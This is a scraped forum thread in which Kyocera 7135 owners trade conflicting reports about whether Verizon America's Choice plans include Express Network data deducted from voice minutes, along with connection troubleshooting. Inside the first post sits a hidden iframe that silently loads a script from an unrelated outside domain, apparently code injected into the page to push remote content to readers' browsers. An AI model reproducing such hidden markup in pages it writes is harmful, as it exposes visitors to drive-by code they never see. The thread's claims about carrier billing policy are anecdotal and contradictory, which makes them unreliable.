Is the information at the link below about Verizon EN-MOU still accurate?

http://www.smartphonesource.com/vbul...&threadid=6431

Yesterday I got my new 7135 in the mail and as I was trying to connect to the Express Network I realized Verizon must have forgotten to activate it on my account. The rep I bought the phone from said my plan already included EN and the minutes could come out of my monthly voice MOU with no extra charges. Now Verizon is claiming the EN entails an extra charge but I am waiting for the rep who sold me the phone to return my voice mail this afternoon.

Any feedback or suggestions before he returns my call would be appreciated.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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-Data Rox

You will get a different answer depending on which Verizon rep you talk to. The short and accurate answer is that every current America's Choice plan comes with EN that is simply deducted from your minutes like a normal voice call. Not all Verizon reps are aware of this feature and thus why you will get different answers. Try signing onto EN on your 7135 (Prefs PDA -> Network -> make sure EN is selected from the drop down menu -> Connect) and if it works, I would leave your account as is. Please don't try and argue with the rep or explain what the situation is as it will likely only lead to greater confusion. Just know that your AC plan has EN on it and if you can connect to EN, you are all set and EN will come out of your minnutes just like a voice call.

That's reassuring but I can't connect to EN even though my phone is apparently configured properly. I think they need to turn EN on.

My new 7135 didn't entail a new contract because my old phone had a navigation button that would no longer work. Maybe only NEW America's Choice plans come with EN?

If so, will I have to renew my contract?

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-Data Rox

>>> You will get a different answer depending on which Verizon rep you talk to. The short and accurate answer is that every current America's Choice plan comes with EN that is simply deducted from your minutes like a normal voice call. Not all Verizon reps are aware of this feature and thus why you will get different answers. Try signing onto EN on your 7135 (Prefs PDA -> Network -> make sure EN is selected from the drop down menu -> Connect) and if it works, I would leave your account as is. Please don't try and argue with the rep or explain what the situation is as it will likely only lead to greater confusion. Just know that your AC plan has EN on it and if you can connect to EN, you are all set and EN will come out of your minnutes just like a voice call.
>>>

That's what I've heard and it would be great if it were true, but, as you intimate, that is not the story that most VZW reps tell and is also not the story on the www.vzw.com website, as far as I can tell.

For example, the website lists the American's Choice 700 plan, which includes 700+100 anytime airtime minutes, for $59.99, without any mention of EN access. The same website lists the Express Network 600 plan which includes 600 anytime minutes, for $75. So what is the difference between these plans ? Why would anyone take fewer minutes for more $$ in the EN 600 plan if the AC plans include EN ?

I've reported having losted and gained MOU because of having Wireless Sync added and removed. They say that "refreshing" your contract might bring back MOU. I can't confirm it, however.

Good point Monkeyboy! Now what?

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-Data Rox

Do you see a 1X in the upper left corner of the phone display? This is an indication that the phone can see the Express Network.

Yes, I see the 1x but it won't let me connect. It goes through the handshaking and then disconnects.

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-Data Rox

You don't have EN on your phonenumber. The 1X just tells you, as stated, that you can use 1X somewhere in your area, if your account has it turned on.

If you ever figure a way to fix this that works, let me know. Verizon has told me (in all 3 attempts to fix this) that they are removing this function as they audit accounts. I would really like the faster connection that the EN provides since I don't come close to using all the minutes each month.

I'll keep you updated. The Verizon rep didn't return my call.

I know the difference between Verizon's data offerings. In fact, I've been waiting for 1x for a long time, I've just been too busy until now to upgrade. But I'm sure I used the proper terminology when questing the Verizon rep about whether I could use EN with MOU. I even asked again because the first time there was a little ambiguity and he confirmed there would be no extra charge.

Now I think they are going to give me the run around. We'll see...

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-Data Rox

I upgraded my minutes yesterday and in conversation I asked if there was a plan that was voice and data capable for EN. The rep said no, but did offer to turn on the MOU option on the account. I was able to act dumb and get what I was looking for. I saw the option in the computer as he was working on my account, it said something like "EN for America Choice MOU - n/c". So they have the option to add this to your account for no monthly charge, if they know what they are looking for.

Yes, you can have the Voice plan (America's Choice) AND use the express network. Call the data number and they talk you through setting up your phone.

(800) 308-3282

I use it - and am only paying for my voice plan.

Also use it when I connect the data cable to my laptop and the phone becomes my wireless modem. Works fine. I am NOT a techie - called the data number and very knowledgeable people have helped me every time.

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Love my 7135!

Just got off the phone with a Verizon rep. He seemed very "up" on the latest policy at Verizon. There is no EN-MOU option except to enable picture messaging for those who have the camera phone.

He said those that currently have it on their plan and use it for other purposes will be eventually be cut-off. I mentioned that Verizon's policy was to allow users to keep their plans as long as desired. He said that wasn't part of any plan, just a feature that had been enabled.

Apparently, Verizon is not offering any plans for those who want occasional speedy data. I want a back-up ISP for my cable modem. I currently pay $20/month for a regular modem account but I never use it (maybe 1 hour a year). I was hoping EN-MOU could replace this account but Verizon only offers much more expensive plans.

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-Data Rox

Well, according to the various Verizon reps people have talked to, we have now narrowed it down to two possibilities: 1) They are offering EN-MOU as a standard part of AC for phones like the 7135 (which is the story I got from a VZW rep who signed me up and was very sure of himself) or 2) They are not offering it and those who got it will have it taken away at some point.

Only time will tell which reps are correct. In the meantime, I have the EN-MOU plan and am using it without a problem.

Actually, there is a third possibility. I have been talking with more Verizon reps. The most recent said he would make an exception and I could have EN-MOU because it was previously promised to me by a rep (who should not have made that promise). I asked how long EN-MOU would remain active on my account and he said as long as I maintain my current calling plan.

So, it appears those that have it may be able to keep it but that Verizon is no longer offering it anymore.

My saga: The rep that sold me the phone has said he has activated EN-MOU but, I can't get a connection. I called him back, he made a few changes, each time asking me to try it again. My EIS browser would say "connecting' with the handshaking graphic and then "cancelling" after a few moments. The rep put me on hold and when he came back he told me that changes to the voice network take effect as soon as the local switch recieves the change but changes to the EN take from 3-24 hours to take effect.

In otherwords, the story is that he activated EN on my account but my phone won't know it for 3-24 hours. Does that sound right?

He said if it doesn't work by tomorrow this time to call him back on Saturday or Sunday as he will be on his weekend. I asked if I could just call another Verizon rep and he said not really because he's making an exception for me and another rep would likely try to charge me for it.

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-Data Rox

Well, it looks like the Verizon rep was right. EN started working
on my phone and my phone started working as a wireless modem!

This 1X stuff is great. I didn't go to any sites that measured the
speed but I will say that pages with pictures loaded just like a
phone modem (maybe a bit faster). Woohoo!

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-Data Rox

Its too bad a lot of posts were lost when this board suffered an outage for a lot of very good info dealing with EN was posted and now its gone, so the same questions are being asked over and over again.

I will explain my experience in the area of EN and you can then judge for yourself what is and is not possible.

When I bought my 7135 from a kiosk(independent dealer/agent) , since the Verizon Corp store didn't know squat about a 7135 much less have any, I spent huge amounts of time with the agent attempting to activate EN Unlimited (or any EN for that matter).

My son had previously purchased one at a Corp store and his account showed
"EN MOU" but he wanted UNLIMITED and so did I. My acct show nothing, no EN and no MOU and of course not EN Unlimited so......
I spent literally many day of many hours arguing with techs at Verizon and attempting to 'activate' EN. They gave me every song and dance and some I believe they actually made up as we were speaking. They apparently didn't want to sound like dolts , though they were, and just told me anything to get me off the phone or to preen their egos.

I started hacking the phone configuration out of frustration. Finally one day a 'onsite' tower tech came to visit the agent and glory bee he showed them a laptop connected to a 7135 and convinced them it was connected at a high data rate(144 or so he said) .....now that very afternoon after and not aware that he had came to town but knowing he had listened to the agent tell him via email that EN was not working here for me and I was the ONLY ONE in town with a 7135!!!!

Bang it started working. I could connect at high data rates. For days I had heard Verizon techs mumble that 'his EN is not turned on in his acct' and actually believed this. I found that yes UNLIMITED had to be turned on and I was happy but later decided that I would prefer the MOU but...... alas they were then starting the vague stmts about NO EN MOU unless you got a camera phone and if you don't we will find out and charge the hell out of your acct!!!!!

This arguement raged on this and other forums and still does I am sure but.........
BUT I found that I could access EN at high data rates anytime I wished and that indeed it did come out of my airtime minutes even though my acct said nothing about it....

I belive that a 7135 will connnect to EN at high data rates IF IF IF it is configured correctly and that configuration was spoken of at great lengths by me on this very forum(those posts are gone now)...

Too bad that this is all very old history and once more folks are unable to connect for I found that the 7135 as shipped were INCORRECTLY CONFIGURED for EN.

Make sure that the configuration for EN is correct and it will connect. I am certain that some mysterious option in one's acct is NOT required. I am certain the every 7135 will access EN if configured correctly AND that your airime minutes WILL be consumed
As to the future? Who knows,,and certainly not Verizon reps. I will never believe again what a Verizon rep tells me. Only what I see for myself or is actually appearing on my acct. and in my mailbox.

That has been my experience.(somewhere in July and early August)

"I could be wrong......"
"I have been wrong before........"


YMMV and good luck.


PS. My id disappeared also when this board took the hit and thats why I have not been posting. I had a history of about 300 posts when it died.

I'm not so sure the account doesn't need to be activated. I don't trust the reps either but he told me it took 3-24 hours for the changes he made to activate my phone for EN.

I had followed all the configuration instructions in this forum beforehand with no luck. I did install the Kyocera modem drivers on my home computor and that's when I first connected (about 4 hours after he said he activated EN). Then I was also able to connect using EIS browser without making any changes to the phone.

I'm not sure but it sure seems like the change happened on the network end in my case.

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-Data Rox

You were probably connecting via QNC.

I am not going to go back into the area of configuration since its really quite simple if you pursue it a bit and right now I don't have my 7135 handy to check what the cmds were but it has to be set right. both qnc and cmd.

The pertinent posts are gone.